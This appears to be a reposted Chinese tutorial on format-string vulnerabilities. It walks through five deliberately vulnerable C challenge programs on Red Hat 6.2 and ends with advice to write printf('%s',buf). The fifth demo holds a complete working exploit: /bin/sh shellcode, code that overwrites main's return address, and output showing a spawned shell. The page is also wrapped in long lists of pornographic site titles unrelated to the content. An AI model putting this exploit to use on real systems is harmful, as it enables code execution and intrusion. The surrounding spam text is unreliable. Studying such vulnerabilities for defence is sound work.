亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 學院 > 開發設計 > 正文

非安全編程演示之格式化字符串篇

2019-11-17 05:51:27
字體:
來源:轉載
供稿:網友
★★ 二格式化字符串篇

測試環境 redhat 6.2 glibc 2.1.3

★ 2.1 演示一

/* fs1.c*
* specially crafted to feed your brain by gera@core-sdi.com */

/* Don't forget,*
* more is less,*
* here's a PRoof */

int main(int argv,char **argc) {
  short int zero=0;
  int *plen=(int*)malloc(sizeof(int));
  char buf[256];

  strcpy(buf,argc[1]);
  printf("%s%hn/n",buf,plen);
  while(zero);
}
利用方法:
這個程序構造的很巧妙,假如我們需要從這個程序中得到控制的話,
我們需要把strcpy和printf都利用起來。
我們的目標:覆蓋main函數的返回地址,需要使zero為0,然而,單單strcpy
是不可能實現的,所以我們需要利用后面的
printf("%s%hn/n",buf,plen);
把short int 類型的zero設置為0。所以我們需要精心構造argc[1].



★ 2.2 演示二

/* fs2.c*
* specially crafted to feed your brain by gera@core-sdi.com */

/* Can you tell me what's above the edge? */
int main(int argv,char **argc) {
  char buf[256];

  snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
  snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);
}
假如我們現在來覆蓋main的返回地址:0xbffffb6c,
假使shellcode地址為:0xbffffc88
開始構造模板
第一次我們構造argc[1]的時候需要使argc[1]長度為0xbfff-2
那使構造argc[1]內容為
aaaa | bbbb | /0x8a/0xfc/0xff/0xbf|...
第二次我們構造argc[2]的時候需要使argc[2]長度為0xfb6c-2
那使構造argc[2]內容為
aaaa | bbbb | /0x88/0xfc/0xff/0xbf|...


★ 2.3 演示三

/* fs3.c*
* specially crafted to feed your brain by riq@core-sdi.com*/

/* Not enough resources?*/

int main(int argv,char **argc) {
  char buf[256];

  snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
}
在上例中我們也看到,shellcode和main的返回地址存放的地址后兩個字節是
一樣的,所以也就不需要上面的第一步操作,直接如下構造:
構造argc[1]的時候需要使argc[1]長度為0xfb6c-2
那使構造argc[1]內容為
aaaa | bbbb | /0x88/0xfc/0xff/0xbf|...


★ 2.4 演示四

/* fs4.c*
* specially crafted to feed your brain by gera@core-sdi.com */

/* Have you ever heard about code reusability?*/

int main(int argv,char **argc) {
  char buf[256];

  snprintf(buf,sizeof buf,"%s%6$hn",argc[1]);
  printf(buf);
}
%6$hn格式化字符串表示%hn對應的格式化參數使用第六個參數
明白這一點,寫出eXPloit應該不是問題。
看了下面一個例子就應該明白%6$是怎么回事了
[alert7@redhat62 alert7]$ cat test.c
#include <stdio.h>

int main(int argc, char *argv[])
{
  int a=2,b=3;
  printf("%d %d/n",a ,b);
  printf("%2$d %1$d/n",a ,b);

  return 0;
}
[alert7@redhat62 alert7]$ gcc -o test test.c -g
[alert7@redhat62 alert7]$ ./test
2 3
3 2
這樣,我們可以在格式化串中自己指定所用哪個參數,而無需按照參數次序。


★ 2.5 演示五

/* fs5.c*
* specially crafted to feed your brain by gera@core-sdi.com */


/* go, go, go!*/
int main(int argv,char **argc) {
  char buf[256];
  snprintf(buf,sizeof buf,argc[1]);

  /* this line'll make your life easier */
//printf("%s/n",buf);
}
[alert7@redhat]$ gcc -o test test.c -g
給個exploit更感性一點
[alert7@redhat]$ cat exp.c|more
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET0
#define DEFAULT_ALIGNMENT 0
#define DEFAULT_RETLOC 0xbffffd28-0*4-8-8 //F-X*4-8-8
  //F為格式化字符串地址
  //X為垃圾的個數,X*4也就是
  //從esp到F的長度

#define NOP0x90

char shellcode[] =
 "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
  "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
  "/x80/xe8/xdc/xff/xff/xff/bin/sh";

int main(int argc, char *argv[]) {
  char *ptr;

  long shell_addr,retloc=DEFAULT_RETLOC;
  int i,SH1,SH2;
  char buf[512];
  char buf1[5000];
  int t;
  printf("Using RET location address: 0x%x/n", retloc);
  shell_addr =0xbfffff10 +atoi(argv[1]);//argv[1]的參數地址
  //里面存放著shellcode
  printf("Using Shellcode address: 0x%x/n", shell_addr);
 
SH1 = (shell_addr >> 16) & 0xffff;//SH1=0xbfff
SH2 = (shell_addr >>0) & 0xffff;//SH2=0xd3a8

ptr = buf;

if ((SH1)<(SH2))
{
 memset(ptr,'B',4);
 ptr += 4 ;
 (*ptr++) =(retloc+2) & 0xff;
 (*ptr++) = ((retloc+2) >> 8) & 0xff ;
 (*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
 (*ptr++) = ((retloc+2) >> 24 ) & 0xff ;
 memset(ptr,'B',4);
 ptr += 4 ;
 (*ptr++) =(retloc) & 0xff;
 (*ptr++) = ((retloc) >> 8) & 0xff ;
 (*ptr++) = ((retloc) >> 16 ) & 0xff ;
 (*ptr++) = ((retloc) >> 24 ) & 0xff ;

  sprintf(ptr,"%%%UC%%hn%%%uc%%hn",(SH1-8*2),(SH2-SH1 ));
  /*推薦構造格式化串的時候使用%hn*/

}

if ((SH1 )>(SH2))
{
 memset(ptr,'B',4);
 ptr += 4 ;
 (*ptr++) =(retloc) & 0xff;
 (*ptr++) = ((retloc) >> 8) & 0xff ;
 (*ptr++) = ((retloc) >> 16 ) & 0xff ;
 (*ptr++) = ((retloc) >> 24 ) & 0xff ;
 memset(ptr,'B',4);
 ptr += 4 ;
 (*ptr++) =(retloc+2) & 0xff;
 (*ptr++) = ((retloc+2) >> 8) & 0xff ;
 (*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
 (*ptr++) = ((retloc+2) >> 24 ) & 0xff ;

  sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH2-8*2),(SH1-SH2 ));
}
if ((SH1 )==(SH2))
  {
  printf("不能用一個printf實現這種情況/n"),exit(0);
  //其實是可以的,注重這個$這個非凡的printf選項沒有
  //參考前面的演示四 :)
  }
sprintf(buf1,"%s%s",buf,shellcode);
execle("./test","test",buf1, NULL,NULL);
}
[alert7@redhat]$ gcc -o exp exp.c
[alert7@redhat]$ ./exp 50
Using RET location address: 0xbffffd18
Using Shellcode address: 0xbfffff42
bash$ uname -a
linux redhat62 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
bash$ 成功:)
里面的一些數據的定位請參考我寫的<<利用格式化串覆蓋printf()系列函數本身的返回地址>>


★★ 小結:
存在格式化字符串的根本原因所在是程序答應用戶提供部分或全部的格式化字符串,
也就是說,在*printf()系列函數中,格式化字符串位置的參數可由用戶提供或者說
是控制。例如:千萬不要因為懶惰寫成這樣printf(buf),正確的寫法應該是
printf("%s",buf).




發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
国产91精品久久久久久久| 亚洲精品国精品久久99热| 精品国偷自产在线视频| 色综合色综合久久综合频道88| 法国裸体一区二区| 狠狠躁夜夜躁久久躁别揉| 亚洲欧美国产精品专区久久| 色综合久久久久久中文网| 亚洲大胆美女视频| 91免费高清视频| 亚洲综合色av| 欧美国产亚洲精品久久久8v| 国产精品国产三级国产专播精品人| 日韩欧美福利视频| 欧美中文字幕在线播放| 日本一区二区三区四区视频| 精品国产欧美一区二区三区成人| 欧美一区二区三区……| 欧美性猛交xxxx久久久| 欧美黑人xxx| 欧美xxxx18性欧美| 久久九九免费视频| 国产精品久久久精品| 亚洲欧洲自拍偷拍| 亚洲va久久久噜噜噜久久天堂| 91精品国产91久久久久久不卡| 亚洲最大成人在线| 国产一区二区av| 欧美电影在线免费观看网站| 亚洲欧美综合图区| 亚洲国产日韩欧美在线图片| 国产亚洲美女精品久久久| 成人黄色av播放免费| 国产偷亚洲偷欧美偷精品| 97精品久久久中文字幕免费| 久久色免费在线视频| 操91在线视频| 9.1国产丝袜在线观看| 国内精品中文字幕| 国产盗摄xxxx视频xxx69| 精品国产视频在线| 亚洲精品在线看| 2019国产精品自在线拍国产不卡| 国产精品扒开腿做爽爽爽的视频| 欧美日韩在线观看视频小说| 91精品久久久久久久久青青| 欧美性感美女h网站在线观看免费| 92版电视剧仙鹤神针在线观看| 爽爽爽爽爽爽爽成人免费观看| 午夜精品久久久久久久男人的天堂| 欧美成人合集magnet| 一本大道香蕉久在线播放29| 欧美大秀在线观看| 日韩中文字幕网址| 欧美一区二区三区图| 久久久久久噜噜噜久久久精品| 成人激情视频在线观看| 97在线看免费观看视频在线观看| 日韩男女性生活视频| 8x拔播拔播x8国产精品| 欧美裸体男粗大视频在线观看| 欧美成人午夜影院| 日韩在线视频一区| 日韩av在线免费观看| 91日韩在线视频| 精品欧美一区二区三区| 久久免费高清视频| 69久久夜色精品国产69乱青草| 精品中文视频在线| 色无极影院亚洲| 国内精品一区二区三区四区| 国产精品扒开腿爽爽爽视频| 69久久夜色精品国产69乱青草| 91免费在线视频网站| 亚洲成年人在线| 欧美性受xxxx黑人猛交| 日韩在线视频中文字幕| 91香蕉国产在线观看| 一本一本久久a久久精品牛牛影视| 亚洲欧美另类人妖| 高清亚洲成在人网站天堂| 欧美xxxx做受欧美| 668精品在线视频| 国产美女精品免费电影| 91久久久国产精品| 亚洲一区二区三区777| 欧美一级在线播放| 97在线看免费观看视频在线观看| 国内精品国产三级国产在线专| 国产精品美女久久久免费| 欧美老女人bb| 久久成人综合视频| 奇米成人av国产一区二区三区| 国产成人欧美在线观看| 久久久亚洲福利精品午夜| 久久这里只有精品视频首页| 全色精品综合影院| 亚洲女人天堂成人av在线| 91精品国产网站| 亚洲欧美另类在线观看| 亚洲福利视频免费观看| 久久天天躁狠狠躁夜夜爽蜜月| 中文字幕日韩在线播放| 欧美激情欧美激情| 久久中文精品视频| 亚洲综合视频1区| 亚洲综合小说区| 亚洲成色999久久网站| 欧美日韩国产精品一区| 91免费版网站入口| 欧美性xxxx极品hd欧美风情| 欧美在线视频在线播放完整版免费观看| 国产成人免费91av在线| 91精品国产91久久久久久久久| 日本精品一区二区三区在线播放视频| 91精品国产自产在线观看永久| xxx一区二区| 亚洲女同性videos| 在线亚洲欧美视频| 中文字幕亚洲第一| 992tv成人免费影院| 日韩精品亚洲精品| 国产一区二区三区四区福利| 国产成人精品电影| 国产日本欧美一区二区三区在线| 欧美大片网站在线观看| 久久久97精品| 欧美日韩日本国产| 欧美一级黄色网| 亚洲精品自拍第一页| 亚洲欧美制服丝袜| 欧美电影在线免费观看网站| 国产精品高清在线| 亚洲**2019国产| 国产午夜精品麻豆| 欧美丰满少妇xxxxx做受| 国产成人激情小视频| 亚洲国产小视频| 久久中文字幕在线| 久久91亚洲精品中文字幕| 岛国av一区二区在线在线观看| 97人洗澡人人免费公开视频碰碰碰| 97视频人免费观看| 日本高清视频精品| 亚洲色图色老头| 国外色69视频在线观看| 青青草原一区二区| 国产精品99久久99久久久二8| 日韩成人在线视频观看| 日韩精品电影网| 538国产精品一区二区在线| 性夜试看影院91社区| 日韩在线视频一区| 国产一区二区三区直播精品电影| 91精品视频免费观看| 欧美富婆性猛交| 亚洲一区二区福利| 亚洲欧美在线免费观看| 日韩电影中文 亚洲精品乱码| 日韩免费av在线| 亚洲性猛交xxxxwww| 日韩在线小视频| 国产精品成人va在线观看| 欧美在线视频一二三|